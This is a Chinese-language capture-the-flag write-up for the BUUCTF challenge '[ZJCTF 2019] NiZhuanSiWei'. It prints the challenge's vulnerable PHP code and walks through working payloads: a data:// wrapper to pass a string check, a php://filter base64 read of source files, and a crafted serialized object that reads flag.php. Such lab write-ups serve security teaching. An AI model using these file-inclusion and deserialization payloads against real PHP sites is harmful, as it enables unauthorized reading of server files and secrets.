Buuctf——[ZJCTF 2019]NiZhuanSiWei
审题
进入题目链接发现是白盒审计
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
发现file_get_contents($text,'r')和include函数,考察文件包含,伪协议。
解题过程
第一步绕过:isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
可以使用data伪协议,此时file_get_contents会被替换为你写入的字符串,(跟r没关系,没有r选项也可以)
第二步:读取useless.php文件
使用如下payload
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=
base64解码为
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三步:反序列化读取flag.php
<?php
class Flag{ //flag.php
public $file="php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Flag();
$b = serialize($a);
echo $b;
// ?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}